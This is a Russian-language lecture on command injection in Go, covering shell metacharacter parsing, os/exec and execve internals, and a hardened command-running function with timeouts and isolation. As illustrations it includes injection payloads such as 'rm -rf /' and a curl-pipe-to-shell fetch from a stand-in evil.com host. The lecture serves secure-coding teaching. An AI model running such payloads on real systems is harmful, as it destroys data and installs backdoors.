4. Command injection
Архитектура уязвимости: когда интерфейс ОС становится вектором атаки
В процессе эволюции бэкенд-сервиса неизбежно наступает момент, когда встроенных библиотек языка становится недостаточно. Серверу требуется сконвертировать медиафайл через ffmpeg, проверить цифровую подпись через openssl, сгенерировать PDF через wkhtmltopdf или взаимодействовать с локальной утилитой ядра Linux.
Именно на этой границе между рантаймом языка программирования и интерфейсом операционной системы возникает уязвимость Command Injection (Инъекция команд ОС).
Она проявляется в том случае, когда непроверенные пользовательские данные конкатенируются в строку системной команды и передаются интерпретатору оболочки (shell). В отличие от SQL-инъекций, замкнутых рамками движка базы данных, инъекция команд происходит непосредственно в пространстве процессов операционной системы. Злоумышленник получает возможность выполнять произвольный машинный код с правами системного пользователя, под которым работает сервер (традиционно www-data или app-user), что в большинстве случаев равносильно полному захвату хоста или контейнера.
Ошибочное наследие классических языков
В классических экосистемах C, Perl и PHP исторически доминировали функции system(), exec() и shell_exec(). По умолчанию они передают переданную строку системному шеллу /bin/sh -c "строка". Для интерпретатора команд строка не является единым значением: шелл производит ее лексический разбор, раскрывает переменные окружения, обрабатывает конвейеры (pipes) |, логические цепочки &&, разделители ; и подстановки выражений в обратных кавычках `. Стоит разработчику наивно вставить в строку параметр $filename, как атакующий передает test.png; rm -rf / или test.png && curl evil.com/backdoor.sh | sh.
Философия Go: отказ от неявной оболочки
Язык Go создавался ветеранами Bell Labs и создателями Unix. Поэтому пакет os/exec спроектирован с глубоким пониманием безопасности системных вызовов ядра: по умолчанию Go никогда не вызывает командную оболочку.
Функция exec.Command обращается напрямую к низкоуровневому интерфейсу ядра через системный вызов execve, передавая путь к исполняемому бинарнику и его аргументы в виде строгого вектора строк argv[]. На уровне системного вызова ядра символы ;, |, & и пробелы теряют свою магическую силу и воспринимаются исключительно как байты аргумента. Уязвимость Command Injection в Go возникает исключительно тогда, когда разработчик сам намеренно или по незнанию вызывает шелл через exec.Command("sh", "-c", rawString).
flowchart TD
subgraph App["Go Application (Безопасный путь по умолчанию)"]
A["Go приложение"] --> B["os/exec.Command"]
B --> C["Формирование argv массива"]
C --> D["Системный вызов clone / fork"]
D --> E["Дочерний процесс"]
E --> F["execve бинарник + аргументы"]
F --> G["Выполнение команды"]
end
subgraph Unsafe["Небезопасный путь (Вызов оболочки)"]
H["Небезопасный путь"] -->|"sh -c строка"| I["Интерпретация метасимволов"]
I --> J["Инъекция и выполнение произвольного кода"]
end
style B fill:#1e293b,stroke:#38bdf8,stroke-width:2px,color:#f8fafc
style G fill:#1e293b,stroke:#10b981,stroke-width:2px,color:#f8fafc
style H fill:#1e293b,stroke:#f43f5e,stroke-width:2px,color:#f8fafc
style J fill:#1e293b,stroke:#f43f5e,stroke-width:2px,color:#f8fafc
Под капотом os/exec: fork, execve и вектор аргументов
Чтобы осознанно писать безопасный и быстрый код, разберем путь, который проходит рантайм Go при выполнении команды exec.Command("ls", "-l", "/tmp"):
- Сборка структуры
exec.Cmd:
Рантайм инициализирует дескриптор команды. ПолеPathполучает путь к бинарнику, а полеArgs— слайс строк[]string{"ls", "-l", "/tmp"}. Обратите внимание: первый элементArgs[0]традиционно повторяет имя команды (для соглашений POSIX). - Подготовка окружения:
Формируются переменные окруженияEnv, рабочий каталог процессаDir, а также связываются стандартные потокиStdin/Stdout/Stderr(через анонимные каналыos.Pipe). - Создание процесса (
clone/fork):
В Linux рантайм Go не использует тяжелыйfork()из libc. Вместо этого вызывается ассемблерная функцияruntime.fork/exec, которая выполняет системный вызовcloneс флагамиCLONE_VFORK | CLONE_VM(или оптимизированный аналогvfork). Это позволяет создать дочернюю задачуtask_structбез дорогостоящего поэлементного дублирования таблиц страниц памяти родительского процесса. - Подмена образа памяти (
syscall.Exec/execve):
Новорожденный дочерний процесс вызываетsyscall.Exec. Ядро Linux сбрасывает адресное пространство процесса, читает ELF-заголовки исполняемого файла, проецирует сегменты.textи.dataв виртуальную память, закрывает файловые дескрипторы, помеченные флагомFD_CLOEXEC, и передает управление точке входа (_start). - Ожидание и сбор статуса (
wait4):
Родительский процесс (горутина Go) переводит системный поток в ожидание завершения дочернего процесса через системный вызовwait4.
Ключевой вывод для безопасности: ядро Linux на системном вызове execve принципиально не парсит аргументы как командную строку! Оно принимает плоский массив указателей на нуль-терминированные строки argv[]. Строка "; rm -rf /" будет передана утилите ls как буквальное имя файла. Если файла с таким именем нет на диске, ls просто выведет ошибку в stderr.
Механическое сочувствие: цена создания процесса и утечка ресурсов
Запуск внешнего бинарника — одна из самых дорогостоящих операций в серверном программировании:
- Контекстные переключения и планировщик:
Системный вызовclone/execveпереключает контекст процессора, сбрасывает аппаратный буфер ассоциативной трансляции (TLB) и заставляет ядро аллоцировать внутренние структуры дескрипторов. В Go выполнение блокирующего системного вызова блокирует физический тред ОС (M). Если число параллельных запусков велико, планировщик Go вынужден создавать новые треды ОС, увеличивая накладные расходы на переключение контекстов и синхронизацию пула тредов. - Утечка файловых дескрипторов (File Descriptor Leak):
По умолчанию в Unix дочерний процесс наследует открытые файловые дескрипторы родителя. Если ваш Go-сервер удерживает соединения с PostgreSQL, Redis, сетевые сокетыnetpollи открытые дескрипторы лог-файлов, дочерний процесс получает их неявную копию. Это приводит к:- Зависанию соединений с БД (сокет не закрывается на стороне сервера, так как дочерний процесс держит его открытым).
- Превышению системного лимита открытых файлов
ulimit -n. - Утечке конфиденциального сетевого трафика через каталог
/proc/<pid>/fd.
- Процессы-зомби (Zombie Processes):
Когда дочерний процесс завершает работу, ядро сохраняет код его возврата в таблице процессов до тех пор, пока родитель не вызоветwait4. Если вызватьcmd.Start()и забыть вызватьcmd.Wait(), процесс навсегда зависает в состоянииZ(Zombie). При активном трафике таблица PID ядра переполняется, и ОС отказывается создавать любые новые процессы. Высокоуровневые методыcmd.Run(),cmd.Output()иcmd.CombinedOutput()гарантируют вызовWait().
Идиоматичная защита в Go
Архитектурно правильное выполнение внешних команд опирается на три фундаментальных правила:
- Использование вектора
argv[]без промежуточных шеллов. - Контроль времени исполнения через
context.WithTimeout. - Очистка переменных окружения и изоляция прав через
SysProcAttr.
package cmdsec
import (
"context"
"fmt"
"os/exec"
"syscall"
"time"
)
// SafeRunCommand безопасно выполняет внешнюю утилиту с изоляцией прав и строгими таймаутами
func SafeRunCommand(ctx context.Context, binary string, args []string, input []byte) ([]byte, error) {
// 1 - Жёсткий таймаут: при истечении контекста процесс принудительно завершается
ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel()
// 2 - 🔒 Явная передача бинарника и аргументов без вызова "sh -c"
cmd := exec.CommandContext(ctxWithTimeout, binary, args...)
// 3 - 🔒 Минимизация окружения: исключаем утечку AWS_SECRET_KEY, токенов и PATH
cmd.Env = []string{
"PATH=/usr/local/bin:/usr/bin",
"LC_ALL=C",
}
// Ограничиваем рабочий каталог процесса изолированной временной папкой
cmd.Dir = "/tmp"
// 4 - 🔒 Изоляция на уровне ядра Linux через SysProcAttr
cmd.SysProcAttr = &syscall.SysProcAttr{
// Блокировка повышения привилегий через setuid/setgid бинарники
NoNewPrivileges: true,
// Гарантия уничтожения потомка при аварийной смерти родителя
Pdeathsig: syscall.SIGTERM,
// Выделение собственной группы процессов для управления сигналами
Setpgid: true,
}
// 5 - Передача данных через стандартный ввод (pipe), если требуется
cmd.Stdin = nil // Входных данных нет; для безопасности указываем явно
// CombinedOutput автоматически собирает Stdout и Stderr и вызывает Wait()
output, err := cmd.CombinedOutput()
if err != nil {
if ctxWithTimeout.Err() != nil {
return nil, fmt.Errorf("command timed out or cancelled: %w", ctxWithTimeout.Err())
}
return output, fmt.Errorf("command execution failed: %w", err)
}
return output, nil
}
Ловушки и подводные камни (Gotchas)
- Обход путей через переменную
PATH:
Если вexec.Commandпередать относительное имя утилиты (например,"convert"вместо"/usr/bin/convert"), рантайм Go начнет последовательно искать бинарник по каталогам изPATH. Если текущий рабочий каталог или каталог с ненадежными файлами окажется вPATH, приложение выполнит вредоносный бинарник с тем же именем. Решение: Всегда указывайте абсолютный канонический путь к исполняемому файлу (/usr/bin/convert). - Утечка стандартных потоков
stdoutиstderr:
Если поляcmd.Stdoutиcmd.Stderrне инициализированы, дочерний процесс может унаследовать дескрипторы родительского процесса, перемешивая свой вывод с JSON-логами вашего микросервиса. Решение: Всегда перенаправляйте вывод в буфер (bytes.Buffer), отбрасывайте (io.Discard) или используйтеcmd.CombinedOutput(). - Инъекции через переменные окружения:
Если вы динамически добавляете переменные вcmd.Envна основе пользовательского ввода (например, язык интерфейса или тему), злоумышленник может внедрить управляющие переменные компоновщика и рантаймов:LD_PRELOAD(для подгрузки вредоносной shared-библиотеки в Linux),PYTHONPATHилиNODE_OPTIONS. Решение: Переменные окружения должны фильтроваться по строгому белому списку (allowlist).
Итог
- Безопасность по умолчанию: Пакет
os/execв Go безопасен из коробки, так как обращается к ядру через системный вызовexecveи вектор аргументовargv[]. Уязвимость Command Injection возникает только при намеренном запуске командного интерпретатора (sh -cилиbash -c). - Механическое сочувствие к ОС: Создание дочернего процесса через
clone/forkиexecve— тяжелая операция. Она блокирует системный тред (M), вызывает сброс TLB и создает нагрузку на планировщик. Неконтролируемый запуск внешних утилит способен парализовать сервер. - Предотвращение утечек ресурсов: Наследование файловых дескрипторов и переменных окружения несет серьезные риски безопасности. Контролируйте
cmd.Env, используйте абсолютные пути к бинарникам и всегда вызывайтеcmd.Wait()для исключения зомби-процессов. - Управление жизненным циклом: Атрибуты
Pdeathsig,SetpgidиNoNewPrivilegesвsyscall.SysProcAttrобеспечивают надежную изоляцию и гарантируют уничтожение дочерних процессов при авариях родителя. - Отказ от кастомного экранирования: Никогда не пытайтесь экранировать строки команд регулярными выражениями. Передавайте аргументы изолированными элементами слайса.
Как защитить файловую систему сервера от несанкционированного чтения и перезаписи конфигурационных файлов через манипуляции с путями?
В следующей лекции мы детально изучим: 5. Path traversal.